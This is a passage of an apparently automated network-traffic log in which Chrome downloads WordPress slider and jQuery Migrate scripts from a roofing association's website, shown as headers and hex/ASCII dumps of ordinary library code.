2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 32 30 5c 74 5c 72 5c 6e 5c 66 5d 2b 2f 67 3b 6e 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 3d 74 68 69 73 5b 30 5d 3b 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 64 3d 6e 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 2c 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 76 61 72 20 65 3b 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 26 26 28 65 3d 64 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c 63 2c 6e 28 74 68 69 73 29 2e 76 61 6c 28 29 29 3a 61 2c 6e 75 6c 6c 3d 3d 65 3f 65 3d 22 22 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2b 3d 22 22 3a 6e 2e 69 73 41 72 72 61 79 28 65 29 26 26 28 65 3d 6e 2e 6d 61 70 28 65 Data Ascii: 20\t\r\n\f]+/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e="":"number"==typeof e?e+="":n.isArray(e)&&(e=n.map(e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49763	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:44 UTC	597	OUT	GET /wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	549	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:44 GMT Content-Type: text/javascript Content-Length: 124088 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b8d-1e4b8-5b419ed2ec280" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	7643	IN	Data Raw: 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 09 2d 09 54 48 45 4d 45 50 55 4e 43 48 20 54 4f 4f 4c 53 20 56 65 72 2e 20 36 2e 30 20 20 20 20 20 2d 0d 0a 09 20 4c 61 73 74 20 55 70 64 61 74 65 20 6f 66 20 54 6f 6f 6c 73 20 31 32 2e 30 32 2e 32 30 31 39 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2f 2a 21 0d 0a 20 2a 20 40 66 69 6c 65 4f 76 65 72 76 69 65 77 20 54 6f 75 63 68 53 77 69 70 65 20 2d 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 20 40 76 65 72 73 69 6f 6e 20 31 2e 36 2e 31 38 20 2f 20 53 41 4e 44 42 4f 58 45 44 20 56 45 52 53 49 4f 4e 20 46 4f 52 20 Data Ascii: /******************************************-THEMEPUNCH TOOLS Ver. 6.0 - Last Update of Tools 12.02.2019******************************************//! * @fileOverview TouchSwipe - jQuery Plugin @version 1.6.18 / SANDBOXED VERSION FOR
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 21 31 29 2c 6c 26 26 61 2e 6f 66 66 28 6c 2c 49 2c 21 31 29 29 2c 61 2e 64 61 74 61 28 41 65 2b 22 5f 69 6e 74 6f 75 63 68 22 2c 21 30 3d 3d 3d 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 2c 74 29 7b 76 61 72 20 6e 3d 7b 73 74 61 72 74 3a 7b 78 3a 30 2c 79 3a 30 7d 2c 6c 61 73 74 3a 7b 78 3a 30 2c 79 3a 30 7d 2c 65 6e 64 3a 7b 78 3a 30 2c 79 3a 30 7d 7d 3b 72 65 74 75 72 6e 20 6e 2e 73 74 61 72 74 2e 78 3d 6e 2e 6c 61 73 74 2e 78 3d 6e 2e 65 6e 64 2e 78 3d 74 2e 70 61 67 65 58 7c 7c 74 2e 63 6c 69 65 6e 74 58 2c 6e 2e 73 74 61 72 74 2e 79 3d 6e 2e 6c 61 73 74 2e 79 3d 6e 2e 65 6e 64 2e 79 3d 74 2e 70 61 67 65 59 7c 7c 74 2e 63 6c 69 65 6e 74 59 2c 4d 5b 65 5d 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 65 65 28 65 29 7b 76 61 72 20 74 3d 76 6f 69 64 20 30 21 Data Ascii: !1),l&&a.off(l,I,!1)),a.data(Ae+"_intouch",!0===e))}function $(e,t){var n={start:{x:0,y:0},last:{x:0,y:0},end:{x:0,y:0}};return n.start.x=n.last.x=n.end.x=t.pageX\|\|t.clientX,n.start.y=n.last.y=n.end.y=t.pageY\|\|t.clientY,M[e]=n}function ee(e){var t=void 0!
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 20 61 7c 7c 28 61 5b 65 5d 3d 6f 29 2c 61 5b 65 5d 29 3a 28 69 3d 2b 28 65 2e 63 68 61 72 41 74 28 72 2d 31 29 2b 65 2e 73 75 62 73 74 72 28 72 2b 31 29 29 2c 31 3c 72 3f 47 61 28 74 2c 65 2e 73 75 62 73 74 72 28 30 2c 72 2d 31 29 29 2b 69 3a 6f 2b 69 29 3a 6e 75 6c 6c 3d 3d 65 3f 6f 3a 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 48 61 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 7c 7c 30 3d 3d 3d 74 3f 65 28 74 29 3a 65 7d 66 75 6e 63 74 69 6f 6e 20 4a 61 28 74 29 7b 72 65 74 75 72 6e 28 74 2b 22 22 29 2e 73 75 62 73 74 72 28 28 70 61 72 73 65 46 6c 6f 61 74 28 74 29 2b 22 22 29 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 4d 61 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 26 26 72 28 74 29 26 26 22 6c 65 6e 67 74 68 22 69 6e 20 74 26 26 28 21 65 26 26 21 74 Data Ascii: a\|\|(a[e]=o),a[e]):(i=+(e.charAt(r-1)+e.substr(r+1)),1<r?Ga(t,e.substr(0,r-1))+i:o+i):null==e?o:+e}function Ha(t,e){return t\|\|0===t?e(t):e}function Ja(t){return(t+"").substr((parseFloat(t)+"").length)}function Ma(t,e){return t&&r(t)&&"length"in t&&(!e&&!t
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 53 29 7c 7c 6e 29 26 26 28 54 2e 66 72 61 6d 65 2b 2b 2c 53 2b 3d 74 2b 28 50 3c 3d 74 3f 2e 30 30 34 3a 50 2d 74 29 2c 72 3d 31 29 2c 6e 7c 7c 28 67 3d 76 28 63 6b 29 29 2c 72 26 26 41 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 28 54 2e 74 69 6d 65 2c 69 2c 54 2e 66 72 61 6d 65 2c 65 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 76 6c 28 74 29 7b 72 65 74 75 72 6e 20 74 3c 44 3f 7a 2a 74 2a 74 3a 74 3c 2e 37 32 37 32 37 32 37 32 37 32 37 32 37 32 37 33 3f 7a 2a 4d 61 74 68 2e 70 6f 77 28 74 2d 31 2e 35 2f 32 2e 37 35 2c 32 29 2b 2e 37 35 3a 74 3c 2e 39 30 39 30 39 30 39 30 39 30 39 30 39 30 39 32 3f 7a 2a 28 74 2d 3d 32 2e 32 35 2f 32 2e 37 35 29 2a 74 2b 2e 39 33 37 35 3a 7a 2a 4d 61 74 68 2e 70 6f 77 28 74 2d 32 2e Data Ascii: S)\|\|n)&&(T.frame++,S+=t+(P<=t?.004:P-t),r=1),n\|\|(g=v(ck)),r&&A.forEach(function(t){return t(T.time,i,T.frame,e)})}function vl(t){return t<D?ztt:t<.7272727272727273?zMath.pow(t-1.5/2.75,2)+.75:t<.9090909090909092?z(t-=2.25/2.75)t+.9375:zMath.pow(t-2.
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 79 6f 2c 6f 3d 67 2b 74 68 69 73 2e 5f 72 44 65 6c 61 79 2c 28 67 3c 28 69 3d 61 61 28 76 25 6f 29 29 7c 7c 6d 3d 3d 3d 76 29 26 26 28 69 3d 67 29 2c 28 73 3d 7e 7e 28 76 2f 6f 29 29 26 26 73 3d 3d 3d 76 2f 6f 26 26 28 69 3d 67 2c 73 2d 2d 29 2c 63 26 26 31 26 73 26 26 28 69 3d 67 2d 69 2c 70 3d 31 29 2c 73 21 3d 3d 28 64 3d 5f 74 28 74 68 69 73 2e 5f 74 54 69 6d 65 2c 6f 29 29 26 26 21 74 68 69 73 2e 5f 6c 6f 63 6b 29 29 7b 76 61 72 20 54 3d 63 26 26 31 26 64 2c 62 3d 54 3d 3d 3d 28 63 26 26 31 26 73 29 3b 69 66 28 73 3c 64 26 26 28 54 3d 21 54 29 2c 5f 3d 54 3f 30 3a 67 2c 74 68 69 73 2e 5f 6c 6f 63 6b 3d 31 2c 74 68 69 73 2e 72 65 6e 64 65 72 28 5f 2c 65 2c 21 67 29 2e 5f 6c 6f 63 6b 3d 30 2c 21 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 26 26 62 74 28 Data Ascii: yo,o=g+this._rDelay,(g<(i=aa(v%o))\|\|m===v)&&(i=g),(s=~~(v/o))&&s===v/o&&(i=g,s--),c&&1&s&&(i=g-i,p=1),s!==(d=_t(this._tTime,o))&&!this._lock)){var T=c&&1&d,b=T===(c&&1&s);if(s<d&&(T=!T),_=T?0:g,this._lock=1,this.render(_,e,!g)._lock=0,!e&&this.parent&&bt(
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 53 74 61 72 74 22 2c 6f 76 65 72 77 72 69 74 65 3a 21 31 2c 70 61 72 65 6e 74 3a 41 2c 69 6d 6d 65 64 69 61 74 65 52 65 6e 64 65 72 3a 21 30 2c 6c 61 7a 79 3a 73 28 79 29 2c 73 74 61 72 74 41 74 3a 6e 75 6c 6c 2c 64 65 6c 61 79 3a 30 2c 6f 6e 55 70 64 61 74 65 3a 54 2c 6f 6e 55 70 64 61 74 65 50 61 72 61 6d 73 3a 62 2c 63 61 6c 6c 62 61 63 6b 53 63 6f 70 65 3a 77 2c 73 74 61 67 67 65 72 3a 30 7d 2c 67 29 29 29 2c 76 29 69 66 28 30 3c 65 29 4f 7c 7c 28 74 2e 5f 73 74 61 72 74 41 74 3d 30 29 3b 65 6c 73 65 20 69 66 28 43 29 72 65 74 75 72 6e 7d 65 6c 73 65 20 69 66 28 78 26 26 43 29 69 66 28 50 29 4f 7c 7c 28 74 2e 5f 73 74 61 72 74 41 74 3d 30 29 3b 65 6c 73 65 20 69 66 28 65 26 26 28 76 3d 21 31 29 2c 71 61 28 74 2e 5f 73 74 61 72 74 41 74 3d 55 74 2e 73 Data Ascii: Start",overwrite:!1,parent:A,immediateRender:!0,lazy:s(y),startAt:null,delay:0,onUpdate:T,onUpdateParams:b,callbackScope:w,stagger:0},g))),v)if(0<e)O\|\|(t._startAt=0);else if(C)return}else if(x&&C)if(P)O\|\|(t._startAt=0);else if(e&&(v=!1),qa(t._startAt=Ut.s
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 2c 61 2c 73 2c 6f 2c 75 29 7b 74 68 69 73 2e 74 3d 65 2c 74 68 69 73 2e 73 3d 69 2c 74 68 69 73 2e 63 3d 6e 2c 74 68 69 73 2e 70 3d 72 2c 74 68 69 73 2e 72 3d 61 7c 7c 4a 74 2c 74 68 69 73 2e 64 3d 73 7c 7c 74 68 69 73 2c 74 68 69 73 2e 73 65 74 3d 6f 7c 7c 58 74 2c 74 68 69 73 2e 70 72 3d 75 7c 7c 30 2c 28 74 68 69 73 2e 5f 6e 65 78 74 3d 74 29 26 26 28 74 2e 5f 70 72 65 76 3d 74 68 69 73 29 7d 5f 28 63 74 2b 22 70 61 72 65 6e 74 2c 64 75 72 61 74 69 6f 6e 2c 65 61 73 65 2c 64 65 6c 61 79 2c 6f 76 65 72 77 72 69 74 65 2c 72 75 6e 42 61 63 6b 77 61 72 64 73 2c 73 74 61 72 74 41 74 2c 79 6f 79 6f 2c 69 6d 6d 65 64 69 61 74 65 52 65 6e 64 65 72 2c 72 65 70 65 61 74 2c 72 65 70 65 61 74 44 65 6c 61 79 2c 64 61 74 61 2c 70 61 75 73 65 64 2c 72 65 76 65 72 73 Data Ascii: ,a,s,o,u){this.t=e,this.s=i,this.c=n,this.p=r,this.r=a\|\|Jt,this.d=s\|\|this,this.set=o\|\|Xt,this.pr=u\|\|0,(this._next=t)&&(t._prev=this)}_(ct+"parent,duration,ease,delay,overwrite,runBackwards,startAt,yoyo,immediateRender,repeat,repeatDelay,data,paused,revers
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 74 22 5d 3d 31 30 30 2b 28 70 3f 68 3a 69 29 2c 61 3d 7e 65 2e 69 6e 64 65 78 4f 66 28 22 61 64 69 75 73 22 29 7c 7c 22 65 6d 22 3d 3d 3d 69 26 26 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 26 26 21 64 3f 74 3a 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 6f 26 26 28 61 3d 28 74 2e 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 7c 7c 7b 7d 29 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 61 26 26 61 21 3d 3d 61 65 26 26 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 7c 7c 28 61 3d 61 65 2e 62 6f 64 79 29 2c 28 73 3d 61 2e 5f 67 73 61 70 29 26 26 22 25 22 3d 3d 3d 69 26 26 73 2e 77 69 64 74 68 26 26 66 26 26 73 2e 74 69 6d 65 3d 3d 3d 4f 74 2e 74 69 6d 65 3f 61 61 28 75 2f 73 2e 77 69 64 74 68 2a 31 30 30 29 3a 28 61 3d 3d 3d 74 26 26 28 6c 2e 70 6f 73 69 74 69 6f 6e 3d 22 73 74 61 Data Ascii: t"]=100+(p?h:i),a=~e.indexOf("adius")\|\|"em"===i&&t.appendChild&&!d?t:t.parentNode,o&&(a=(t.ownerSVGElement\|\|{}).parentNode),a&&a!==ae&&a.appendChild\|\|(a=ae.body),(s=a._gsap)&&"%"===i&&s.width&&f&&s.time===Ot.time?aa(u/s.width*100):(a===t&&(l.position="sta
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 3d 22 72 6f 74 61 74 65 58 28 22 2b 6c 2b 57 65 29 2c 66 3d 3d 3d 51 65 26 26 64 3d 3d 3d 51 65 7c 7c 28 79 2b 3d 22 73 6b 65 77 28 22 2b 66 2b 22 2c 20 22 2b 64 2b 57 65 29 2c 31 3d 3d 3d 63 26 26 31 3d 3d 3d 70 7c 7c 28 79 2b 3d 22 73 63 61 6c 65 28 22 2b 63 2b 22 2c 20 22 2b 70 2b 57 65 29 2c 67 2e 73 74 79 6c 65 5b 49 65 5d 3d 79 7c 7c 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 20 30 29 22 7d 2c 74 72 3d 66 75 6e 63 74 69 6f 6e 20 5f 72 65 6e 64 65 72 53 56 47 54 72 61 6e 73 66 6f 72 6d 73 28 74 2c 65 29 7b 76 61 72 20 72 2c 69 2c 6e 2c 61 2c 73 2c 6f 3d 65 7c 7c 74 68 69 73 2c 75 3d 6f 2e 78 50 65 72 63 65 6e 74 2c 68 3d 6f 2e 79 50 65 72 63 65 6e 74 2c 6c 3d 6f 2e 78 2c 66 3d 6f 2e 79 2c 64 3d 6f 2e 72 6f 74 61 74 69 6f 6e 2c 63 3d 6f 2e 73 6b 65 77 58 Data Ascii: ="rotateX("+l+We),f===Qe&&d===Qe\|\|(y+="skew("+f+", "+d+We),1===c&&1===p\|\|(y+="scale("+c+", "+p+We),g.style[Ie]=y\|\|"translate(0, 0)"},tr=function _renderSVGTransforms(t,e){var r,i,n,a,s,o=e\|\|this,u=o.xPercent,h=o.yPercent,l=o.x,f=o.y,d=o.rotation,c=o.skewX
2024-04-23 14:53:45 UTC	8192	IN	Data Raw: 74 68 3a 20 22 2b 65 3b 69 66 28 21 65 7c 7c 21 69 73 4e 61 4e 28 78 5b 30 5d 29 7c 7c 69 73 4e 61 4e 28 78 5b 31 5d 29 29 72 65 74 75 72 6e 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 45 29 2c 70 3b 66 6f 72 28 74 3d 30 3b 74 3c 76 3b 74 2b 2b 29 69 66 28 67 3d 72 2c 69 73 4e 61 4e 28 78 5b 74 5d 29 3f 69 3d 28 72 3d 78 5b 74 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 21 3d 3d 78 5b 74 5d 3a 74 2d 2d 2c 73 3d 2b 78 5b 74 2b 31 5d 2c 61 3d 2b 78 5b 74 2b 32 5d 2c 69 26 26 28 73 2b 3d 79 2c 61 2b 3d 4d 29 2c 74 7c 7c 28 68 3d 73 2c 75 3d 61 29 2c 22 4d 22 3d 3d 3d 72 29 6f 26 26 28 6f 2e 6c 65 6e 67 74 68 3c 38 3f 2d 2d 70 2e 6c 65 6e 67 74 68 3a 43 2b 3d 6f 2e 6c 65 6e 67 74 68 29 2c 79 3d 68 3d 73 2c 4d 3d 75 3d 61 2c 6f 3d 5b 73 2c 61 5d 2c 70 2e 70 75 Data Ascii: th: "+e;if(!e\|\|!isNaN(x[0])\|\|isNaN(x[1]))return console.log(E),p;for(t=0;t<v;t++)if(g=r,isNaN(x[t])?i=(r=x[t].toUpperCase())!==x[t]:t--,s=+x[t+1],a=+x[t+2],i&&(s+=y,a+=M),t\|\|(h=s,u=a),"M"===r)o&&(o.length<8?--p.length:C+=o.length),y=h=s,M=u=a,o=[s,a],p.pu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49762	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:44 UTC	634	OUT	GET /wp-content/plugins/enable-jquery-migrate-helper/js/jquery-migrate/jquery-migrate-1.4.1-wp.js?ver=1.4.1-wp HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:44 GMT Content-Type: text/javascript Content-Length: 23673 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:12:11 GMT ETag: "6220f3-5c79-6138f8d3b8c10" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	7646	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 2d 20 76 31 2e 34 2e 31 20 2d 20 32 30 31 36 2d 30 35 2d 31 39 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 20 6a 51 75 65 72 79 2c 20 77 69 6e 64 6f 77 2c 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 2f 2f 20 53 65 65 20 68 74 74 70 3a 2f 2f 62 75 67 73 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 74 69 63 6b 65 74 2f 31 33 33 33 35 0a 2f 2f 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 56 65 72 73 69 6f 6e 20 3d 20 22 31 2e 34 2e 31 22 3b 0a 0a 0a 76 61 72 20 77 61 72 6e 65 64 41 62 6f 75 74 Data Ascii: /! jQuery Migrate - v1.4.1 - 2016-05-19 * Copyright jQuery Foundation and other contributors */(function( jQuery, window, undefined ) {// See http://bugs.jquery.com/ticket/13335// "use strict";jQuery.migrateVersion = "1.4.1";var warnedAbout
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 38 29 0a 09 09 09 69 66 20 28 20 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 63 6f 6e 74 65 78 74 2e 6e 6f 64 65 54 79 70 65 20 29 20 7b 0a 09 09 09 09 63 6f 6e 74 65 78 74 20 3d 20 63 6f 6e 74 65 78 74 2e 63 6f 6e 74 65 78 74 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 20 28 20 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 6f 6c 64 49 6e 69 74 2e 63 61 6c 6c 28 20 74 68 69 73 2c 0a 09 09 09 09 09 09 6a 51 75 65 72 79 2e 70 61 72 73 65 48 54 4d 4c 28 20 6d 61 74 63 68 5b 20 32 20 5d 2c 20 63 6f 6e 74 65 78 74 20 26 26 20 63 6f 6e 74 65 78 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 20 7c 7c 0a 09 09 09 09 09 09 09 63 6f 6e 74 65 78 74 20 7c Data Ascii: 8)if ( context && context.context && context.context.nodeType ) {context = context.context;}if ( jQuery.parseHTML ) {return oldInit.call( this,jQuery.parseHTML( match[ 2 ], context && context.ownerDocument \|\|context \|
2024-04-23 14:53:44 UTC	7835	IN	Data Raw: 7d 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 72 65 74 3b 0a 09 7d 3b 0a 7d 0a 0a 76 61 72 20 65 76 65 6e 74 41 64 64 20 3d 20 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 61 64 64 2c 0a 09 65 76 65 6e 74 52 65 6d 6f 76 65 20 3d 20 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 2c 0a 09 65 76 65 6e 74 54 72 69 67 67 65 72 20 3d 20 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 2c 0a 09 6f 6c 64 54 6f 67 67 6c 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 74 6f 67 67 6c 65 2c 0a 09 6f 6c 64 4c 69 76 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 6c 69 76 65 2c 0a 09 6f 6c 64 44 69 65 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 64 69 65 2c 0a 09 6f 6c 64 4c 6f 61 64 20 3d 20 6a 51 75 65 72 79 2e 66 6e 2e 6c 6f 61 64 2c 0a 09 61 6a 61 78 Data Ascii: }}}return ret;};}var eventAdd = jQuery.event.add,eventRemove = jQuery.event.remove,eventTrigger = jQuery.event.trigger,oldToggle = jQuery.fn.toggle,oldLive = jQuery.fn.live,oldDie = jQuery.fn.die,oldLoad = jQuery.fn.load,ajax

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49764	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:44 UTC	595	OUT	GET /wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.2.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:44 UTC	548	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:44 GMT Content-Type: text/javascript Content-Length: 292163 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1548b8e-47543-5b419ed2ec280" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:44 UTC	7644	IN	Data Raw: 2f 2a 21 0a 0a 20 20 2d 20 53 6c 69 64 65 72 20 52 65 76 6f 6c 75 74 69 6f 6e 20 36 2e 32 2e 32 20 4a 61 76 61 53 63 72 69 70 74 20 50 6c 75 67 69 6e 20 2d 0a 0a 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 78 58 58 58 58 58 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 0a 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 20 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 2e 2e 2e 2e 2e 2e 2e 0a 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 2e 2e 2e 2e 2e 2e 2e 0a 2e 2e 2e 2e 2e 2e 2e 2e 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 78 58 58 58 58 58 2e 2e 2e 2e 2e 2e 2e 2e 2e 0a 2e Data Ascii: /*! - Slider Revolution 6.2.2 JavaScript Plugin -..........................xXXXXX.................................. xXXXXX..xXXXXX..xXXXXX...........................xXXXXX..xXXXXX..xXXXXX...................xXXXXX..xXXXXX..xXXXXX..xXXXXX..........
2024-04-23 14:53:44 UTC	8192	IN	Data Raw: 2e 68 74 6d 6c 28 29 2c 69 5b 61 5d 2e 63 3d 6e 75 6c 6c 7d 29 7d 2c 72 65 76 70 61 75 73 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 65 28 74 68 69 73 29 3b 61 21 3d 74 26 26 61 2e 6c 65 6e 67 74 68 3e 30 26 26 65 28 22 62 6f 64 79 22 29 2e 66 69 6e 64 28 22 23 22 2b 61 2e 61 74 74 72 28 22 69 64 22 29 29 2e 6c 65 6e 67 74 68 3e 30 26 26 28 61 2e 64 61 74 61 28 22 63 6f 6e 74 68 6f 76 65 72 22 2c 31 29 2c 61 2e 64 61 74 61 28 22 63 6f 6e 74 68 6f 76 65 72 63 68 61 6e 67 65 64 22 2c 31 29 2c 61 2e 74 72 69 67 67 65 72 28 22 72 65 76 6f 6c 75 74 69 6f 6e 2e 73 6c 69 64 65 2e 6f 6e 70 61 75 73 65 22 29 2c 69 5b 74 68 69 73 2e 69 64 5d 2e 74 6f 6e 70 61 75 73 65 Data Ascii: .html(),i[a].c=null})},revpause:function(){return this.each(function(){var 